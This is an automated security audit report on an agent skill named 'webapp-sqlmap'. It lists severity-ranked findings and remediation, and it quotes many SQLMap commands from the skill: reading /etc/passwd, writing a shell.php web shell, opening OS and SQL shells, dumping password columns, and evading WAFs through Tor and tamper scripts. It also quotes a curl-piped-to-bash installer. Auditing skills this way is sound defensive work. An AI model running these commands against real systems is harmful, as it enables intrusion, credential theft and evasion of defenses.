Versioned security assessment
Report ID: SA-D46E6208
7/7/2026, 10:26:04 PM
webapp-sqlmap security assessment v8
Skill Security Certification Report
Audit model: codex Historical report
- Skill name
- webapp-sqlmap
- Version
- v8
- Maintainer
- AgentSecOps
- Coverage
- 6 Files scanned · 1,994 Lines analyzed
- Policy version
- Unavailable
Highest confirmed finding severity
Critical
7 confirmed security findings require attention.
Installation context
Historical evidence
This report may not describe the currently installable artifact. Open the current Skill page for install guidance.
Open current Skill pageThis report does not block or authorize the manifest or ZIP.
Most template and reference-file detections are false positives because they are documentation, detection-rule examples, or CI reporting helpers. Confirmed risk remains high due to SQLMap guidance for data extraction, WAF evasion, file access, shell access, and a CI curl-to-shell installer.
Report position
Historical report
Open audit history before using this report to install.
Audit attestation
Not attestable
The required immutable binding is incomplete.
Human verification
Not verified
No human verification is recorded for this report.
Coverage
6 Files scanned · 1,994 Lines analyzed
74 items shown for review
Limitations
This report does not claim runtime or sandbox execution and does not prove the absence of side effects.
Evidence chain
Follow the evidence from source binding to the install contract. Available evidence supports verification; it is not a safety guarantee.
Source
Binding unavailable
Artifact
Identity incomplete
Audit
Complete
Capabilities observed
Observed means this report recorded supporting evidence. Not recorded does not prove that a capability is absent.
Contains scripts
May execute code included with the Skill.
Observed in 2 evidence locations
Network access
May connect to external services.
Observed in 87 evidence locations
Filesystem access
May read or write local files.
Observed in 2 evidence locations
Env variables
May read values from the process environment.
Observed in 18 evidence locations
External commands
May invoke commands or programs outside the Skill.
Observed in 53 evidence locations
Capability review items (67)
Critical
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
The SQLMap example reads /etc/passwd from a target server. This demonstrates sensitive system-file extraction through SQL injection.
Critical
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.p
The SQLMap example writes shell.php into a web root. That can create a web shell on a target server if run against a vulnerable system.
Critical
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --os-shell
The SQLMap example requests an operating-system shell. This is direct post-exploitation guidance if used on a vulnerable target.
High
Hardcoded URL
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
The hardcoded URL is part of a remote installer that is piped to bash. This is risky because the CI job executes network-delivered code without verification.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -D database_name -T users --dump
The SQLMap example supports database dumping, credential extraction, or broad enumeration. Authorization warnings exist, but the capability can expose sensitive data.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -D database_name -T users -C username,password --dump
The SQLMap example supports database dumping, credential extraction, or broad enumeration. Authorization warnings exist, but the capability can expose sensitive data.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --dump-all
The SQLMap example supports database dumping, credential extraction, or broad enumeration. Authorization warnings exist, but the capability can expose sensitive data.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --dump-all --exclude-sysdbs
The SQLMap example supports database dumping, credential extraction, or broad enumeration. Authorization warnings exist, but the capability can expose sensitive data.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -D database_name --search -C password
The SQLMap example supports database dumping, credential extraction, or broad enumeration. Authorization warnings exist, but the capability can expose sensitive data.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --os-cmd="whoami"
The SQLMap example demonstrates command or SQL shell access after exploitation. This is high-risk post-exploitation guidance even with authorization caveats.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --sql-shell
The SQLMap example demonstrates command or SQL shell access after exploitation. This is high-risk post-exploitation guidance even with authorization caveats.
High
Hardcoded URL
sqlmap -u "http://example.com/login" --data="user=admin&pass=test" --auth-type=Basic
The SQLMap example supports authentication bypass or invasive assessment activity. It is dual-use and needs strict authorization controls.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment
The SQLMap example describes WAF bypass, traffic disguise, proxying, Tor, or request randomization. These options can help evade defensive controls.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between
The SQLMap example describes WAF bypass, traffic disguise, proxying, Tor, or request randomization. These options can help evade defensive controls.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --random-agent
The SQLMap example describes WAF bypass, traffic disguise, proxying, Tor, or request randomization. These options can help evade defensive controls.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --user-agent="Mozilla/5.0..."
The SQLMap example describes WAF bypass, traffic disguise, proxying, Tor, or request randomization. These options can help evade defensive controls.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
The SQLMap example describes WAF bypass, traffic disguise, proxying, Tor, or request randomization. These options can help evade defensive controls.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --tor --check-tor
The SQLMap example describes WAF bypass, traffic disguise, proxying, Tor, or request randomization. These options can help evade defensive controls.
High
Hardcoded URL
sqlmap -u "http://example.com/login" \
The SQLMap example supports database dumping, credential extraction, or broad enumeration. Authorization warnings exist, but the capability can expose sensitive data.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" \
The SQLMap example supports database dumping, credential extraction, or broad enumeration. Authorization warnings exist, but the capability can expose sensitive data.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between --random-agent
The SQLMap example describes WAF bypass, traffic disguise, proxying, Tor, or request randomization. These options can help evade defensive controls.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --delay=3 --randomize
The SQLMap example describes WAF bypass, traffic disguise, proxying, Tor, or request randomization. These options can help evade defensive controls.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --method=PUT
The SQLMap example describes WAF bypass, traffic disguise, proxying, Tor, or request randomization. These options can help evade defensive controls.
High
Hardcoded IP address
sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
The SQLMap example describes WAF bypass, traffic disguise, proxying, Tor, or request randomization. These options can help evade defensive controls.
High
Hidden file in home directory
- **Logging**: All SQLMap activity is logged to ~/.sqlmap/output/
The skill notes that SQLMap writes activity to ~/.sqlmap/output. This hidden home-directory storage can retain sensitive target data after testing.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/login" --data="username=admin&password=test"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --dbs
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/product?id=1"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/search?query=test&category=all&sort=name"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1&name=test" --level=5 --risk=3
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/login" --data="user=admin&pass=test"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/api" --data='{"user":"admin"}' --headers="Content-Type: application/js
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/" --cookie="sessionid=abc123; role=user"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/" --headers="X-Forwarded-For: 1.1.1.1\nUser-Agent: Test"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/" --cookie="sessionid=abc123*; role=user"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --level=5 --risk=3
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --technique=BEUSTQ
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --fingerprint
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --dbms=mysql
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --dbs
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --current-db
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -D database_name --tables
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -D database_name -T users --columns
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --users
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --privileges
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --auth-cred="admin:password"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --batch
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --dbs --batch
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --current-user --current-db --is-dba --batch
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/login" \
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://api.example.com/user/1" \
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://api.example.com/search" \
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --string="Welcome" --not-string="Error"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --technique=U
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --sql-query="SELECT version()"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --threads=5
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --level=1 --risk=1
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1&name=test" -p id
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded IP address
sqlmap -u "http://example.com/" --headers="X-Forwarded-For: 1.1.1.1\nUser-Agent: Test"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hidden file access
- **Logging**: All SQLMap activity is logged to ~/.sqlmap/output/
The skill notes that SQLMap writes activity to ~/.sqlmap/output. This hidden home-directory storage can retain sensitive target data after testing.
Low
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -s output.sqlite
The SQLMap command is mainly about output, session, or traffic logging, but it still targets a web application with an offensive testing tool. The direct risk at this line is limited.
Low
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --resume
The SQLMap command is mainly about output, session, or traffic logging, but it still targets a web application with an offensive testing tool. The direct risk at this line is limited.
Low
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --output-dir="/path/to/results"
The SQLMap command is mainly about output, session, or traffic logging, but it still targets a web application with an offensive testing tool. The direct risk at this line is limited.
Low
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -v 3
The SQLMap command is mainly about output, session, or traffic logging, but it still targets a web application with an offensive testing tool. The direct risk at this line is limited.
Low
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -t traffic.log
The SQLMap command is mainly about output, session, or traffic logging, but it still targets a web application with an offensive testing tool. The direct risk at this line is limited.
Risk findings
Confirmed security concerns are separated from items that still need review.
Confirmed security concerns (7)
RISK-001 Critical
Pipe to shell pattern
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
The CI template downloads a remote install script and executes it through a shell pipeline. This creates a supply-chain execution risk without pinning or integrity verification.
RISK-002 Critical
System password file access
sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
The example explicitly reads /etc/passwd from a target through SQLMap. This is sensitive system password-file access and should be treated as a critical capability.
RISK-003 Critical
Server File Write And Shell Access Guidance
The advanced exploitation section shows target file reads, web-root file writes, operating-system command execution, and shell access.
The section includes /etc/passwd reading, shell.php file writing, os-cmd, os-shell, and sql-shell examples. These are direct post-exploitation capabilities.
RISK-004 High
System reconnaissance
sqlmap -u "http://example.com/page?id=1" --os-cmd="whoami"
The example runs an operating-system command through SQLMap. That demonstrates remote command execution capability after exploitation.
RISK-005 High
Offensive SQL Injection Exploitation Workflow
The skill provides a full workflow for database dumping, password column extraction, admin credential extraction, and broad enumeration.
The cited sections explicitly describe dumping tables, searching password data, extracting admin credentials, and enumerating users and passwords. Authorization language is present, but the operational steps remain high-risk dual-use guidance.
RISK-006 High
WAF Evasion And Traffic Obfuscation Guidance
The skill teaches tamper scripts, random user agents, delays, proxying, Tor, randomization, and method changes to bypass blocking.
Both cited sections explicitly frame the options as WAF bypass or responses to WAF blocking. These tactics can help evade defensive controls during unauthorized testing.
RISK-007 Medium
SQLite database file
sqlmap -u "http://example.com/page?id=1" -s output.sqlite
The example saves SQLMap session data to a SQLite file. Such output can contain sensitive target metadata or extracted results and needs retention controls.
Remediation
Suggested fixes recorded by this audit. Applying them is the maintainer’s responsibility.
- FIX-001CriticalAdvanced SQLMap examples enable file access, web shell upload, and shell access.Remove these examples or gate them behind explicit authorization, lab-only targets, and safer impact-validation alternatives.
- FIX-002CriticalThe CI template installs tfsec with curl piped directly to bash.Use a pinned release, package manager, checksum verification, or a trusted action instead of executing a remote script.
- FIX-003HighWAF evasion guidance can support unauthorized stealth testing.Limit evasion content to approved lab use and require written approval before tamper scripts, Tor, proxies, or randomization.
- FIX-004HighData extraction examples include password and full-database dumping.Prefer minimal proof-of-impact steps, redaction, stopping criteria, and data retention instructions.
- FIX-005MediumSQLMap output paths can retain sensitive target data.Add cleanup, encryption, access control, and retention guidance for ~/.sqlmap/output and SQLite session files.
Expert evidence
Immutable subject identity, scanner metadata, dismissed matches, and source-level evidence.
Artifact subject
- Marketplace commit
- Unavailable
- Content hash
- Unavailable
- Tree hash
- Unavailable
- Skill path
- Unavailable
- Audit payload hash
- Unavailable
Analysis metadata
Audit model: codex
Analysis state: Complete
Scope is limited to the recorded files, lines, methods, and evidence. No runtime or sandbox execution is claimed.
Verify and export
The manifest and lockfile bind install artifacts to cryptographic hashes. This integrity claim is separate from the security assessment.
Audit attestation: not_attestable